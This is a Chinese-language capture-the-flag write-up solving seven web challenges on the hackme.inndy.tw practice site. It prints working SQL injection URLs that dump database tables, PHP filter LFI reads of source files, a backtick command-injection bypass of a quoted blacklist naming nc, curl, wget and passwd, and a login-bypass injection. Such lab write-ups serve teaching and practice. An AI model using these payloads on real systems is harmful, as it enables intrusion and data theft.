hackme.inndy.tw的19道web題解(上)
目錄
- 寫在前面...
- hide and seek.
- guestbook.
- LFI
- .homepage.
- ping.
- scoreboard.
- login as admin 0
- 待續...
寫在前面
最近發現了一個比較有趣的ctf-oj,給出連結
https://hackme.inndy.tw/
裡面有不少web題,我這裡因為依照出題人的要求:
本次文章不會直接給出flag,但是會有詳細的分析和攻擊指令碼
0x01 hide and seek
檢視原始碼即可
0x02 guestbook
簡單注入
https://hackme.inndy.tw/gb/?mod=read&id=-1 union select 1,2,database(),4 -- 1
可以得到資料庫名guestbook
https://hackme.inndy.tw/gb/?mod=read&id=-1 union select 1,2,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='guestbook' limit 0,1),4 -- 1
得到表名flag
https://hackme.inndy.tw/gb/?mod=read&id=-1 union select 1,2,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='flag' limit 1,1),4 -- 1
得到欄位名flag
https://hackme.inndy.tw/gb/?mod=read&id=-1 union select 1,2,(select flag from flag limit 1,1),4 -- 1
即可拿到flag
0x03 LFI
隨便點擊出現:
https://hackme.inndy.tw/lfi/?page=pages/index
根據題目名可以知道是讀檔案
所以讀:
https://hackme.inndy.tw/lfi/?page=php://filter/read=convert.base64-encode/resource=pages/flag
得到
php
Can you read the flag<?php require('config.php'); ?>?
再讀
https://hackme.inndy.tw/lfi/?page=php://filter/read=convert.base64-encode/resource=pages/config
即可
0x04 homepage
注意原始碼151行
<script src="cute.js"></script>
跟進
https://hackme.inndy.tw/cute.js
發現是aaencode
解密得到二維碼,掃描即可
0x05 ping
發現黑名單
php
$blacklist = [
'flag', 'cat', 'nc', 'sh', 'cp', 'touch', 'mv', 'rm', 'ps', 'top', 'sleep', 'sed',
'apt', 'yum', 'curl', 'wget', 'perl', 'python', 'zip', 'tar', 'php', 'ruby', 'kill',
'passwd', 'shadow', 'root',
'z',
'dir', 'dd', 'df', 'du', 'free', 'tempfile', 'touch', 'tee', 'sha', 'x64', 'g',
'xargs', 'PATH',
'$0', 'proc',
'/', '&', '|', '>', '<', ';', '"', ''', '\', "n"
];
發現沒有過濾反引號
嘗試反引號ls反引號
可以得到
ping: unknown host flag.php
index.php
發現sort沒有過濾,並且利用?通配
反引號sort ????????反引號
即可
0x06 scoreboard
抓包發現http頭裡的x-flag有flag
0x07 login as admin 0
注意到過濾
php
function safe_filter($str)
{
$strl = strtolower($str);
if (strstr($strl, 'or 1=1') || strstr($strl, 'drop') ||
strstr($strl, 'update') || strstr($strl, 'delete')
) {
return '';
}
return str_replace("'", "\'", $str);
}
最後將單引號變成\'
所以容易構造payload:
username = admin' || 1=1#
password = 1
進入的是guest,所以admin應該是第二行
所以payload:
username = admin' || 1=1 limit 1,1#
password = 1
得到flag